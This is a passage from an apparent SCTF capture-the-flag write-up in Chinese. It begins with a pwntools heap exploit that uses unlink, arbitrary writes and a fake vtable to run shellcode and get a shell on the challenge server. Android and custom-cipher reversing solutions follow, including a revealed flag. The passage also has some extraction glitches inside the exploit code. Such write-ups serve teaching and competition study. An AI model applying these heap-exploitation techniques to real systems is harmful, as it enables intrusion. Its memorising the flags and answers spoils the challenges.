    ctx.debug_remote_libc = True

    ctx.symbols = {
        'lst':0x202060,
        'cnt':0x202040,
    }
    def add(size):
        sl(1)
        sla('Size', size)
        ru('Address ')
        addr = int(ru('\n'), 16)
        return addr

    def free(idx):
        sl(2)
        sla('Index', idx)

    def fill(idx, content):
        sl(3)
        sla('Index', idx)
        sa('Content', content)


    while True:
        try:
            rs('remote')
            #ctx.debug(gdbscript='c')

            ru('Mmap: ')
            mmap_addr = int(ru('\n'), 16)

            prog_base = add(0xf8) - 0x202068
            add(0xf0)

            add(0x20)

            target = prog_base+0x202068
            payload1 = p64(0) + p64(0xf1)
            payload1 += p64(target-0x18) + p64(target-0x10)
            payload1 = payload1.ljust(0xf0, '\0')
            payload1 += p64(0xf0)
            fill(0, payload1)

            #unlink
            free(1)

            def vuln_write(addr, content):
                payload = p64(0) + p64(0)
                payload += p64(0xf8) + p64(prog_base+0x202050)
                payload += p64(0x1000) + p64(addr)
                fill(0, payload + '\n')
                sleep(0.5)
                fill(1, content + '\n')


            vuln_write(mmap_addr, asm(shellcraft.sh()))

            add(0x20)

            payload2 = p64(0) + p64(0)
            payload2 += p64(0xf8) + p64(prog_base+0x202050)
            payload2 += p64(0) + p64(0)
            RE
            payload2 += p64(0) + p64(0)
            payload2 += p64(8) + '\x48'
            fill(0, payload2 + '\n')
            fill(3, '\x61\x00\n')


            payload3 = p64(0) + p64(0)
            payload3 += p64(0xf8) + p64(prog_base+0x202050)
            payload3 += p64(0) + p64(0)
            payload3 += p64(0) + p64(0)
            payload3 += p64(8) + '\x58'
            fill(0, payload3 + '\n')
            fill(3, '\x10\x75\n')


            payload4 = p64(0) + p64(0)
            payload4 += p64(0xf8) + p64(prog_base+0x202050)
            payload4 += p64(0) + p64(0)
            payload4 += p64(0) + p64(0)
            payload4 += p64(0x1000) + '\x60'
            fill(0, payload4 + '\n')
            fake_vtable = prog_base + 0x202070
            payload5 = p64(2) + p64(3)
            payload5 = payload5.ljust(0xb8,'\x00')
            payload5 += p64(fake_vtable)

            fill(3, payload5 + '\n')

            payload6 = p64(0) + p64(0)
            payload6 += p64(0xf8) + p64(prog_base+0x202050)
            payload6 += p64(mmap_addr) * 8
            fill(0, payload6 + '\n')

            #now trigger
            sleep(0.1)
            sl(1)
            sla('Size', 1)
            sleep(0.1)
            if ctx.connected():
            irt()
        except EOFError:
            pass

Re

music

出题人:0x指纹
解题人数:12
最终分数:645

app 打开后会播放《早春的树》,播放完后才能输入 flag,若错误需要重新听歌,可将 app 入 口活动改为 Main2Activity,即可直接输入 flag。

MainActivity 播放歌曲,进入 Main2Activity 点击按钮后会启动和绑定一个服务,即类 s。
类 s 中的 a 方法是进行 md5 加密。方法是查询 sctf.db 返回字符串” hellosctf”。方法是变形 的 rc4 加密,对输入进行加密,密钥是 md5 加密”hellosctf”。方法 g 是加密得到的密文和” C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3AhC3A7C29A1654C3AF28C3A1C2B12 15B53”进行对比。

点击按钮后面的过程就是对输入进行变形 rc4 加密,再进行对比。
注意有一个类 p,作用是 Bytes->HexString.toUpperCase(),在 md5 加密后得到的 bytes 和变

形 rc4 加密得到的 String 进行 getBytes()得到的 bytes 都进行了这样的处理。

说一下 rc4 的变形,除了最后的 String 字符串每个字符赋值处的一行代码有改动外,还有就 是对得到的 String 先 getBytes(),然后再 Bytes->HexString.toUpperCase()。 因此在写脚本时候,需要先将对比的字符串进行 HexString->Bytes,接着 String(Byte[])得到 String,然后即可正常进行 rc4 解密。

当然 rc4 是流加密,还可以进行爆破。

Strange apk

出题人:0xE4s0n
解题人数:28
最终分数:425

壳程序分析

在AndroidManifest中发现程序主活动与包名不同

并且自定义了Application

图片.png

图片.png

发现重写了attachBaseContext方法从Assets文件夹取出"data"文件加载为apk

而加载时又对文件进行了解密操作
图片.png
又在oncreate方法中通过反射动态加载了解出的apk的activity
图片.png

脱壳

本来解密后的apk是从/data/data/sctf.hello被删除了的

由于出题组疏忽放错了题目,没有删除可以直接copy出来

下面讲一讲删除后怎么做

方法一

看懂代码后 只需要将data文件取出进行解密

图片.png

方法二

在壳程序将源程序加载到data目录后,反射启动源程序前,下断点

即可在/data/data/sctf.hello文件夹下copy出源程序

方法三

利用内存dump工具将加载到内存的源程序dump出来,例如GG修改器

分析源程序

源程序对输入的字符进行了分隔

前半部分进行了base64加密

图片.png

后半部分与MD5加密后的"syclover"相拼接
图片.png

图片.png

payload
import base64
import sys

str1 = "c2N0ZntXM2xjMG1l"
str2 = "~8t808_8A8n848r808i8d8-8w808r8l8d8}8"

j = 0
sys.stdout.write(base64.b64decode(str1))
for i in str2:
    if j % 2 == 0:
        sys.stdout.write(i)
    j += 1

flag:sctf{W3lc0me~t0_An4r0id-w0rld}

Who is he?

出题人:xxx
解题人数:5
最终分数:833

1.正常逆向得解密算法。
2.解密。Net得解密算法

ojbk

出题人:0xpoker
解题人数:0
最终分数:1000

备注: python加密脚本

import os
import sys
import struct

big_box = [0x16A7ACAC, 0x47B82F2F, 0xAE316666, 0x89F10101, 0x9A084545, 0xFD985252, 0x3562CCCC, 0x3FDE7575, 0x56F7DCDC, 0x7532BCBC, 0x4FB22121, 0x9359A4A4, 0x03ED5858, 0xB896CACA, 0x3D68C2C2, 0xE26E1F1F, 0xFA700D0D, 0xAF6A8989, 0xEF3AF9F9, 0x67901717, 0xB7749B9B, 0x04050707, 0xA7608787, 0xED8C4E4E, 0x44557777, 0xECD7A1A1, 0xCF12C1C1, 0xF5925C5C, 0xBA207D7D, 0x53A93434, 0x1FF64D4D, 0x88AAEEEE, 0xC4F59797, 0x0ABCB9B9, 0xA48DDFDF, 0x6929A9A9, 0xF4C9B3B3, 0x5C4B6565, 0xDE5D3232, 0x0BE75656, 0x02B6B7B7, 0xB62F7474, 0xF321ECEC, 0x76DFE4E4, 0xEE611616, 0x2A948181, 0xC31DC8C8, 0x6F9A1919, 0x0EB9BEBE, 0xD4E18B8B, 0xF99D5555, 0x63951010, 0x551A8484, 0xB9CD2525, 0xC5AE7878, 0x07E85F5F, 0x8E195E5E, 0x368F9494, 0x1945FDFD, 0xE730F7F7, 0xBF7E9595, 0xC8FA9E9E, 0x2E918686, 0x4EE9CECE, 0x34392323, 0xF8C6BABA, 0x7D38B2B2, 0x38362A2A, 0x85FE0808, 0xF0CCB4B4, 0x43BD2828, 0x50446C6C, 0xCA4C2929, 0xB499C3C3, 0xE9894949, 0xD70CD3D3, 0xD0E48C8C, 0x055EE8E8, 0x3167CBCB, 0x6C774141, 0x181E1212, 0x450E9898, 0xF724EBEB, 0xDF06DDDD, 0x9DE01A1A, 0xBB7B9292, 0xCE492E2E, 0xB5C22C2C, 0x5AF8D5D5, 0x4D049696, 0x1D40FAFA, 0xCDA47676, 0x6B9F1E1E, 0x80A0E0E0, 0x8DF40606, 0xD9B56D6D, 0x96074C4C, 0x95EA1414, 0xA63B6868, 0x52F2DBDB, 0x647D4F4F, 0x92024B4B, 0x13F94444, 0xD5BA6464, 0x9B53AAAA, 0xE4DDAFAF, 0xC6432020, 0x12A2ABAB, 0x9F56ADAD, 0xB3719C9C, 0xBDC82222, 0xA3658080, 0x6D2CAEAE, 0x242D3F3F, 0x303C2424, 0xD2523B3B, 0x6EC1F6F6, 0x81FB0F0F, 0xAA346161, 0x14111B1B, 0x3C332D2D, 0x62CEFFFF, 0x82165757, 0xA9D93939, 0x114FF3F3, 0x3A809D9D, 0x975CA3A3, 0x706C5454, 0xA5D63030, 0x5FA63D3D, 0x49019191, 0x00000000, 0x584E6262, 0x74695353, 0x9CBBF5F5, 0x2BCF6E6E, 0xE335F0F0, 0x8CAFE9E9, 0x72DAE3E3, 0x37D47B7B, 0xA1D33737, 0x834DB8B8, 0x73810C0C, 0x1C1B1515, 0x2979D9D9, 0xAC87D1D1, 0xDA583535, 0x6526A0A0, 0x5D108A8A, 0x4AECC9C9, 0xA882D6D6, 0x5EFDD2D2, 0xDDB06A6A, 0xBC93CDCD, 0x10141C1C, 0xB1C72B2B, 0x4BB72626, 0x28223636, 0x3E859A9A, 0xBE257A7A, 0x86135050, 0x06B3B0B0, 0x2576D0D0, 0xEB3FFEFE, 0x8F42B1B1, 0xE8D2A6A6, 0xB09CC4C4, 0x0FE25151, 0x4C5F7979, 0x7137BBBB, 0x60784848, 0x2D7CDEDE, 0xF27A0303, 0x40507070, 0x015BEFEF, 0x0C0F0909, 0x7F8E0505, 0x229E8F8F, 0x328A9393, 0x77840B0B, 0xFCC3BDBD, 0x17FC4343, 0xD6573C3C, 0xE5864040, 0x7AD0EDED, 0x6123A7A7, 0xDCEB8585, 0x33D17C7C, 0x2FCA6969, 0xFB2BE2E2, 0x2173D7D7, 0x78665A5A, 0x0951E1E1, 0x0D54E6E6, 0x94B1FBFB, 0x1AA8A5A5, 0x2C273131, 0x8A1C5959, 0x269B8888, 0xEA641111, 0x7ED5EAEA, 0x1BF34A4A, 0x3BDB7272, 0x1EADA2A2, 0xA23E6F6F, 0xF1975B5B, 0x42E6C7C7, 0x54416B6B, 0x66CBF8F8, 0x90B4FCFC, 0xFF2EE5E5, 0x6AC4F1F1, 0xC2462727, 0xA088D8D8, 0xC9A17171, 0xCCFF9999, 0x7C635D5D, 0x59158D8D, 0xE66B1818, 0x396DC5C5, 0x23C56060, 0x84A5E7E7, 0xAB6F8E8E, 0xE1834747, 0x57AC3333, 0xB22A7373, 0x8B47B6B6, 0xFE750A0A, 0x20283838, 0xCB17C6C6, 0xADDC3E3E, 0x511F8383, 0xE0D8A8A8, 0xF67F0404, 0x793DB5B5, 0x154AF4F4, 0x68724646, 0x99E51D1D, 0x7B8B0202, 0xC718CFCF, 0x46E3C0C0, 0x485A7E7E, 0x98BEF2F2, 0xD8EE8282, 0x410B9F9F, 0x9E0D4242, 0xC0F09090, 0x080A0E0E, 0xDB03DADA, 0x27C06767, 0x5BA33A3A, 0xD309D4D4, 0x8748BFBF, 0xC1AB7F7F, 0x91EF1313, 0xD1BF6363, 0x9B9B74B7, 0x3131272C, 0xB6B6478B, 0x94948F36, 0x77775544, 0x29294CCA, 0x7E7E5A48, 0xEDEDD07A, 0x4444F913, 0x59591C8A, 0x8D8D1559, 0xE4E4DF76, 0x07070504, 0x9D9D803A, 0xC2C2683D, 0x2626B74B, 0x19199A6F, 0xB5B53D79, 0xA6A6D2E8, 0x8C8CE4D0, 0xDDDD06DF, 0x50501386, 0x05058E7F, 0x6767C027, 0x0D0D70FA, 0xD6D682A8, 0xEAEAD57E, 0xADAD569F, 0x53536974, 0x7D7D20BA, 0x6969CA2F, 0x7575DE3F, 0x161661EE, 0xDBDBF252, 0xD0D07625, 0xFEFE3FEB, 0x98980E45, 0xBDBDC3FC, 0xCFCF18C7, 0xBFBF4887, 0xA2A2AD1E, 0x04047FF6, 0x23233934, 0x4A4AF31B, 0x92927BBB, 0x10109563, 0xA3A35C97, 0xA4A45993, 0x24243C30, 0xF7F730E7, 0x4E4E8CED, 0x0808FE85, 0x6060C523, 0x3D3DA65F, 0x5D5D637C, 0x6A6AB0DD, 0x616134AA, 0x73732AB2, 0xE3E3DA72, 0x2B2BC7B1, 0x3939D9A9, 0xE7E7A584, 0x91910149, 0x38382820, 0xBCBC3275, 0xCDCD93BC, 0xFDFD4519, 0x5656E70B, 0xF9F93AEF, 0xB2B2387D, 0x65654B5C, 0x8F8F9E22, 0x494989E9, 0x5B5B97F1, 0x525298FD, 0x2C2CC2B5, 0x8686912E, 0xCACA96B8, 0x0B0B8477, 0x7C7CD133, 0x32325DDE, 0x3B3B52D2, 0xFAFA401D, 0x5C5C92F5, 0x00000000, 0x5F5FE807, 0xCBCB6731, 0xD7D77321, 0x2A2A3638, 0x7878AEC5, 0xCCCC6235, 0x6C6C4450, 0xABABA212, 0x4141776C, 0x3A3AA35B, 0xE2E22BFB, 0xDCDCF756, 0x36362228, 0x7A7A25BE, 0x62624E58, 0xF3F34F11, 0xEEEEAA88, 0x7F7FABC1, 0xC0C0E346, 0x0F0FFB81, 0x9C9C71B3, 0x18186BE6, 0x7272DB3B, 0x6363BFD1, 0x5A5A6678, 0xACACA716, 0x3737D3A1, 0xB4B4CCF0, 0xA1A1D7EC, 0x1B1B1114, 0xE8E85E05, 0x2E2E49CE, 0x8A8A105D, 0x89896AAF, 0x4545089A, 0x4B4B0292, 0xD2D2FD5E, 0x79795F4C, 0x9090F0C0, 0x02028B7B, 0x0606F48D, 0x03037AF2, 0x83831F51, 0x1E1E9F6B, 0x9999FFCC, 0xBBBB3771, 0xC7C7E642, 0x1313EF91, 0x9797F5C4, 0x3333AC57, 0x808065A3, 0xAFAFDDE4, 0x9F9F0B41, 0x6B6B4154, 0x0101F189, 0x8282EED8, 0x8B8BE1D4, 0x12121E18, 0x353558DA, 0xF1F1C46A, 0x0E0E0A08, 0x1A1AE09D, 0xA5A5A81A, 0x7B7BD437, 0x404086E5, 0xAEAE2C6D, 0xF0F035E3, 0xC6C617CB, 0x55559DF9, 0xE0E0A080, 0xC1C112CF, 0x95957EBF, 0x15151B1C, 0x5151E20F, 0xAAAA539B, 0xA8A8D8E0, 0x8E8E6FAB, 0x9696044D, 0xD5D5F85A, 0xFCFCB490, 0x6D6DB5D9, 0xDFDF8DA4, 0xDEDE7C2D, 0x3C3C57D6, 0x9A9A853E, 0xA7A72361, 0x09090F0C, 0xD3D30CD7, 0x272746C2, 0x57571682, 0x2525CDB9, 0x17179067, 0x666631AE, 0x48487860, 0xB8B84D83, 0x3E3EDCAD, 0x0C0C8173, 0xBABAC6F8, 0xB1B1428F, 0xB9B9BC0A, 0x54546C70, 0x42420D9E, 0x2121B24F, 0x8181942A, 0xE1E15109, 0x84841A55, 0xF4F44A15, 0xB7B7B602, 0xE9E9AF8C, 0xB3B3C9F4, 0x70705040, 0xEBEB24F7, 0xD9D97929, 0xF5F5BB9C, 0x93938A32, 0x5858ED03, 0xEFEF5B01, 0x2D2D333C, 0x474783E1, 0xF6F6C16E, 0xFFFFCE62, 0x6464BAD5, 0x0A0A75FE, 0x7676A4CD, 0xCECEE94E, 0x88889B26, 0x1C1C1410, 0x46467268, 0x4C4C0796, 0xFBFBB194, 0x878760A7, 0x4F4F7D64, 0x3030D6A5, 0xBEBEB90E, 0x74742FB6, 0x2F2FB847, 0x5E5E198E, 0x3F3F2D24, 0xC9C9EC4A, 0xD1D187AC, 0xD8D888A0, 0xECEC21F3, 0xE6E6540D, 0x2828BD43, 0x6E6ECF2B, 0x1D1DE599, 0x1414EA95, 0x1F1F6EE2, 0x2222C8BD, 0xA9A92969, 0x68683BA6, 0xF8F8CB66, 0xC5C56D39, 0x3434A953, 0xC3C399B4, 0x202043C6, 0xB0B0B306, 0xF2F2BE98, 0xC8C81DC3, 0x4D4DF61F, 0xDADA03DB, 0x7171A1C9, 0xE5E52EFF, 0xD4D409D3, 0xC4C49CB0, 0x9E9EFAC8, 0x6F6F3EA2, 0x4343FC17, 0x8585EBDC, 0xA0A02665, 0x111164EA, 0xE3C046E3, 0x6087A760, 0xE48CD0E4, 0x2F74B62F, 0x50704050, 0xFF99CCFF, 0x04964D04, 0xD939A9D9, 0x82D6A882, 0x5835DA58, 0x5A7E485A, 0xB06ADDB0, 0x6B18E66B, 0x975BF197, 0xA171C9A1, 0xCF6E2BCF, 0xEA1495EA, 0xB7264BB7, 0x719CB371, 0xED5803ED, 0xE9CE4EE9, 0xF64D1FF6, 0xCEFF62CE, 0x30F7E730, 0x9B88269B, 0x3166AE31, 0x207DBA20, 0x68C23D68, 0x362A3836, 0x91862E91, 0x6DC5396D, 0x6580A365, 0xC56023C5, 0x925CF592, 0xF4068DF4, 0x635D7C63, 0xB82F47B8, 0x38B27D38, 0x8E057F8E, 0x8640E586, 0xA8A51AA8, 0x18CFC718, 0xB1FB94B1, 0xA93453A9, 0x28382028, 0xD2A6E8D2, 0xC22CB5C2, 0xDAE372DA, 0xAE78C5AE, 0xDB723BDB, 0xB56DD9B5, 0xEE82D8EE, 0x3AF9EF3A, 0x5F794C5F, 0xA2AB12A2, 0x42B18F42, 0x32BC7532, 0x859A3E85, 0xF7DC56F7, 0x2EE5FF2E, 0x55774455, 0x79D92979, 0x87D1AC87, 0xA0E080A0, 0x93CDBC93, 0xBD2843BD, 0x5EE8055E, 0x96CAB896, 0x0A0E080A, 0xCBF866CB, 0x8347E183, 0xFB0F81FB, 0x2D3F242D, 0x416B5441, 0xF94413F9, 0xF34A1BF3, 0x6A89AF6A, 0x5BEF015B, 0x7D4F647D, 0xF090C0F0, 0x5CA3975C, 0xC9B3F4C9, 0x16578216, 0x27312C27, 0x4FF3114F, 0x37BB7137, 0xFDD25EFD, 0x7F04F67F, 0x665A7866, 0xC822BDC8, 0xBF63D1BF, 0xD17C33D1, 0x0E98450E, 0x62CC3562, 0x141C1014, 0x6116EE61, 0xAC3357AC, 0x26A06526, 0xE51D99E5, 0x51E10951, 0x3C24303C, 0x0CD3D70C, 0x17C6CB17, 0x40FA1D40, 0x6C54706C, 0x2A73B22A, 0xD7A1ECD7, 0x67CB3167, 0x95106395, 0xBA64D5BA, 0x48BF8748, 0x4627C246, 0x7A03F27A, 0x03DADB03, 0x700DFA70, 0xF8D55AF8, 0x7B92BB7B, 0x840B7784, 0x573CD657, 0x77416C77, 0x108A5D10, 0xD8A8E0D8, 0x4B655C4B, 0x523BD252, 0xD47B37D4, 0xEF1391EF, 0xA33A5BA3, 0x3B68A63B, 0xE18BD4E1, 0x39233439, 0x45FD1945, 0x24EBF724, 0xAAEE88AA, 0x0F090C0F, 0xBCB90ABC, 0xD5EA7ED5, 0x6411EA64, 0xC3BDFCC3, 0x59A49359, 0x1B151C1B, 0xDDAFE4DD, 0x2CAE6D2C, 0x9F1E6B9F, 0x12C1CF12, 0x01914901, 0x05070405, 0x3FFEEB3F, 0x72466872, 0xB6B702B6, 0x9E8F229E, 0x8A93328A, 0x257ABE25, 0x749BB774, 0x09D4D309, 0xE7560BE7, 0x4DB8834D, 0x88D8A088, 0x810C7381, 0x024B9202, 0xC72BB1C7, 0xECC94AEC, 0xF597C4F5, 0x90176790, 0x332D3C33, 0xDC3EADDC, 0x492ECE49, 0x1C598A1C, 0x5D32DE5D, 0xCCB4F0CC, 0x54E60D54, 0x158D5915, 0xC1F66EC1, 0x08459A08, 0x7CDE2D7C, 0x99C3B499, 0xCD25B9CD, 0xF10189F1, 0x1E12181E, 0xFA9EC8FA, 0x53AA9B53, 0x94812A94, 0x8949E989, 0x1F83511F, 0x8DDFA48D, 0xF2DB52F2, 0xB3B006B3, 0xDFE476DF, 0xC06727C0, 0xD630A5D6, 0x9852FD98, 0x13508613, 0xBBF59CBB, 0x2BE2FB2B, 0x22362822, 0x3E6FA23E, 0xE85F07E8, 0xE01A9DE0, 0x3461AA34, 0x9D55F99D, 0x111B1411, 0x3DB5793D, 0x78486078, 0x809D3A80, 0x4320C643, 0x195E8E19, 0xA63D5FA6, 0x00000000, 0xE6C742E6, 0x76D02576, 0x6F8EAB6F, 0xADA21EAD, 0x074C9607, 0x8F94368F, 0x35F0E335, 0xC6BAF8C6, 0x47B68B47, 0xDE753FDE, 0xAB7FC1AB, 0xD0ED7AD0, 0x0B9F410B, 0xD337A1D3, 0xE2510FE2, 0x4E62584E, 0x1DC8C31D, 0x4AF4154A, 0x446C5044, 0xC4F16AC4, 0x9A196F9A, 0x06DDDF06, 0xB2214FB2, 0xA476CDA4, 0x8B027B8B, 0xA7AC16A7, 0xB4FC90B4, 0xFE0885FE, 0xAFE98CAF, 0x69537469, 0xEB85DCEB, 0x73D72173, 0xB9BE0EB9, 0xCA692FCA, 0xA5E784A5, 0x9CC4B09C, 0x21ECF321, 0x23A76123, 0x0D429E0D, 0x7E95BF7E, 0x29A96929, 0x750AFE75, 0x6E1FE26E, 0x56AD9F56, 0x4C29CA4C, 0x8C4EED8C, 0xBEF298BE, 0x1A84551A, 0xFC4317FC, 0x4EED4E8C, 0x196F199A, 0xB883B84D, 0x7ABE7A25, 0x441344F9, 0x8BD48BE1, 0x7DBA7D20, 0xD1ACD187, 0x52FD5298, 0xE476E4DF, 0xDADBDA03, 0x5A785A66, 0xEF01EF5B, 0xA397A35C, 0xA51AA5A8, 0x068D06F4, 0x87A78760, 0x4B924B02, 0x07040705, 0xE372E3DA, 0x0F810FFB, 0xC1CFC112, 0xA969A929, 0x5BF15B97, 0x264B26B7, 0x459A4508, 0x812A8194, 0xEE88EEAA, 0x9436948F, 0xA6E8A6D2, 0x95BF957E, 0xF415F44A, 0x3F243F2D, 0xDC56DCF7, 0xF866F8CB, 0x9845980E, 0xC539C56D, 0x018901F1, 0xDFA4DF8D, 0xB006B0B3, 0x97C497F5, 0x0E080E0A, 0x8EAB8E6F, 0x6C506C44, 0x1FE21F6E, 0xC046C0E3, 0xECF3EC21, 0x6258624E, 0x55F9559D, 0x1E6B1E9F, 0xF0E3F035, 0xDE2DDE7C, 0xD929D979, 0x6FA26F3E, 0xA493A459, 0x7B377BD4, 0x32DE325D, 0x9D3A9D80, 0xF16AF1C4, 0x18E6186B, 0xB90AB9BC, 0x3D5F3DA6, 0x151C151B, 0x335733AC, 0xDB52DBF2, 0x0AFE0A75, 0x82D882EE, 0x1A9D1AE0, 0xF298F2BE, 0xAB12ABA2, 0xCFC7CF18, 0x89AF896A, 0xD3D7D30C, 0xD4D3D409, 0xFB94FBB1, 0x692F69CA, 0x027B028B, 0x74B6742F, 0xE784E7A5, 0xB702B7B6, 0x6E2B6ECF, 0x3CD63C57, 0x47E14783, 0x7FC17FAB, 0x00000000, 0x9BB79B74, 0x602360C5, 0xCB31CB67, 0x04F6047F, 0x61AA6134, 0xD025D076, 0xCC35CC62, 0x1218121E, 0x80A38065, 0x655C654B, 0x8F228F9E, 0xF59CF5BB, 0xC4B0C49C, 0x6DD96DB5, 0x510F51E2, 0x090C090F, 0xFC90FCB4, 0x76CD76A4, 0x11EA1164, 0xAD9FAD56, 0x91499101, 0x90C090F0, 0x9EC89EFA, 0x139113EF, 0xCAB8CA96, 0x36283622, 0x2CB52CC2, 0x71C971A1, 0x5D7C5D63, 0x429E420D, 0xE080E0A0, 0xE5FFE52E, 0x284328BD, 0x312C3127, 0xAC16ACA7, 0x723B72DB, 0xFF62FFCE, 0xB68BB647, 0x40E54086, 0xC94AC9EC, 0xD55AD5F8, 0x560B56E7, 0x4C964C07, 0x68A6683B, 0xCE4ECEE9, 0x5F075FE8, 0x7E487E5A, 0x8A5D8A10, 0xD721D773, 0x4D1F4DF6, 0x30A530D6, 0x25B925CD, 0xCDBCCD93, 0xE2FBE22B, 0xB18FB142, 0x8826889B, 0x2D3C2D33, 0x3EAD3EDC, 0x77447755, 0x73B2732A, 0x5E8E5E19, 0x5CF55C92, 0xBAF8BAC6, 0x53745369, 0x0DFA0D70, 0xEBF7EB24, 0xAA9BAA53, 0x1D991DE5, 0x672767C0, 0x964D9604, 0xBB71BB37, 0x8455841A, 0x78C578AE, 0x214F21B2, 0x6ADD6AB0, 0xD8A0D888, 0xB27DB238, 0xC6CBC617, 0x149514EA, 0x9CB39C71, 0x2BB12BC7, 0xA8E0A8D8, 0xBDFCBDC3, 0x0B770B84, 0x3A5B3AA3, 0xA761A723, 0x99CC99FF, 0x9A3E9A85, 0xA21EA2AD, 0x46684672, 0xFD19FD45, 0x580358ED, 0x8CD08CE4, 0x0C730C81, 0xFA1DFA40, 0x48604878, 0xEA7EEAD5, 0xE98CE9AF, 0x2430243C, 0xA1ECA1D7, 0x057F058E, 0xB4F0B4CC, 0xB3F4B3C9, 0x4F644F7D, 0x6B546B41, 0xE60DE654, 0xBF87BF48, 0x22BD22C8, 0xF311F34F, 0x9332938A, 0x49E94989, 0x416C4177, 0x50865013, 0x92BB927B, 0x088508FE, 0x23342339, 0x598A591C, 0xAFE4AFDD, 0x64D564BA, 0x1C101C14, 0xC3B4C399, 0xE109E151, 0x85DC85EB, 0x753F75DE, 0x7C337CD1, 0x17671790, 0xC742C7E6, 0x345334A9, 0xA065A026, 0x8D598D15, 0xE805E85E, 0xD25ED2FD, 0x66AE6631, 0x2A382A36, 0x4A1B4AF3, 0x8351831F, 0x35DA3558, 0x27C22746, 0xF66EF6C1, 0x20C62043, 0x431743FC, 0xAE6DAE2C, 0x9F419F0B, 0xB579B53D, 0x03F2037A, 0x63D163BF, 0xC8C3C81D, 0xED7AEDD0, 0xFEEBFE3F, 0xD6A8D682, 0x39A939D9, 0x16EE1661, 0x5470546C, 0x3BD23B52, 0x862E8691, 0x1B141B11, 0xBC75BC32, 0xC23DC268, 0xF7E7F730, 0x2F472FB8, 0x70407050, 0xBE0EBEB9, 0x794C795F, 0x38203828, 0x10631095, 0x37A137D3, 0x29CA294C, 0xF9EFF93A, 0xDDDFDD06, 0x2ECE2E49, 0x57825716, 0x7D417402, 0x7E721D1F, 0x8C219648, 0x49DCCA67, 0xA5705A22, 0x62D3DC8F, 0x69189C05, 0xBA7B287A, 0x946305E0, 0x4221C46A, 0xA5B54743, 0x83BE0F59, 0x0A12A2AA, 0x4C4C39E9, 0x8ECECDA6, 0x61F3F52C, 0x97E2077A, 0x2E99A95E, 0xEFE18498, 0x1CD31DA5, 0x456AA5B9, 0x36023F0B, 0xC4ED11CD, 0x02DAC41D, 0xE7CC1901, 0xED14F8A1, 0x94E9F986, 0x2BE2879F, 0x6565BA62, 0x2629D026, 0x8034B8CC, 0x212CD5F4, 0xCDD8BD39, 0x90042ED8, 0x3725D79C, 0x896C0C43, 0x7BE43031, 0xB3546C0D, 0xFD73D395, 0xC136D3B2]


overflow_byte = lambda x : x & 0xff
overflow_word = lambda x : x & 0xffff
overflow_dword = lambda x : x & 0xffffffff
overflow_qword = lambda x : x & 0xffffffffffffffff
HIBYTE = lambda x : (x >> 24) & 0xff
BYTE1 = lambda x : (x >> 8) & 0xff
BYTE2 = lambda x : (x >> 16) & 0xff
BYTE = lambda x : x & 0xff
WORD = lambda x : x & 0xffff

def ror4(data, bits):
    for i in range(bits):
        if data & 1:
            data >>= 1
            data |= 0x80000000
        else:
            data >>= 1
    return overflow_dword(data)

def rol4(data, bits):
    for i in range(bits):
        if data & 0x80000000:
            data <<= 1
            data |= 1
        else:
            data <<= 1
    return overflow_dword(data)


class Ex_Base64(object):
    """A new table for base64"""
    def __init__(self, new_table):
        super(Ex_Base64, self).__init__()
        self.old_table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=")
        self.new_table = list(new_table) + ['=']

    def Ex_base64_decode(self, cipher):
        new_cipher = ""
        for i in range(len(cipher)):
            tmp_index = self.new_table.index(cipher[i])
            new_cipher += self.old_table[tmp_index]
        return new_cipher.decode("base64")

    def Ex_base64_encode(self, plain):
        new_cipher = ""
        tmp_cipher = plain.encode("base64").strip()
        for i in range(len(tmp_cipher)):
            tmp_index = self.old_table.index(tmp_cipher[i])
            new_cipher += self.new_table[tmp_index]
        return new_cipher

def encrypt_test(data, big_box=big_box):
    assert len(data) == 16
    arr = [0] * 6
    arr[0] = overflow_dword(struct.unpack('B', data[3])[0] << 24 | struct.unpack('B', data[2])[0] << 16 | struct.unpack('H', data[0:2])[0]) ^ big_box[1024]
    arr[1] = overflow_dword(struct.unpack('B', data[7])[0] << 24 | struct.unpack('B', data[6])[0] << 16 | struct.unpack('H', data[4:6])[0]) ^ big_box[1025]
    arr[2] = overflow_dword(struct.unpack('B', data[11])[0] << 24 | struct.unpack('B', data[10])[0] << 16 | struct.unpack('H', data[8:10])[0]) ^ big_box[1026]
    arr[3] = overflow_dword(struct.unpack('B', data[15])[0] << 24 | struct.unpack('B', data[14])[0] << 16 | struct.unpack('H', data[12:14])[0]) ^ big_box[1027]
    # print map(hex, arr)
    for i in range(16):
        if not i % 2:
            arr[4] = big_box[HIBYTE(arr[0])] ^ big_box[BYTE2(arr[0]) + 0x100] ^ big_box[BYTE1(arr[0]) + 0x200] ^ big_box[BYTE(arr[0]) + 0x300]
            arr[5] = big_box[HIBYTE(arr[1]) + 0x100] ^ big_box[BYTE2(arr[1]) + 0x200] ^ big_box[BYTE1(arr[1]) + 0x300] ^ big_box[BYTE(arr[1])]
            # print map(hex, arr)
            arr[2] = ror4(overflow_dword(arr[5] + arr[4] + big_box[1032 + i*2]) ^ arr[2], 1)
            arr[3] = overflow_dword(arr[4] + arr[5] * 2 + big_box[1033 + i*2]) ^ rol4(arr[3], 1)
        else:
            arr[4] = big_box[HIBYTE(arr[2])] ^ big_box[BYTE2(arr[2]) + 0x100] ^ big_box[BYTE1(arr[2]) + 0x200] ^ big_box[BYTE(arr[2]) + 0x300]
            arr[5] = big_box[HIBYTE(arr[3]) + 0x100] ^ big_box[BYTE2(arr[3]) + 0x200] ^ big_box[BYTE1(arr[3]) + 0x300] ^ big_box[BYTE(arr[3])]
            # print map(hex, arr)
            arr[0] = ror4(overflow_dword(arr[5] + arr[4] + big_box[1032 + i*2]) ^ arr[0], 1)
            arr[1] = overflow_dword(arr[4] + arr[5] * 2 + big_box[1033 + i*2]) ^ rol4(arr[1], 1)
        # print "%d: "%(i) + str(map(hex, arr))
    # print map(hex, arr)
    arr[2] ^= big_box[1028]
    arr[3] ^= big_box[1029]
    arr[0] ^= big_box[1030]
    arr[1] ^= big_box[1031]
    # print map(hex, arr)
    return chr(BYTE(arr[2])) + struct.pack('H', WORD(arr[2] >> 8)) + chr(HIBYTE(arr[2])) + struct.pack('I', arr[3]) + struct.pack('I', arr[0]) + struct.pack('H', WORD(arr[1])) + chr(BYTE2(arr[1])) + chr(HIBYTE(arr[1]))

def encrypt_ojbk(data):
    assert len(data) == 32
    check_in = lambda x: x in "abcdef0123456789"
    for i in xrange(len(data)):
        if not check_in(data[i]):
            os.exit(0)
    
    first_list = [0] * 16
    for i in xrange(0, len(data), 2):
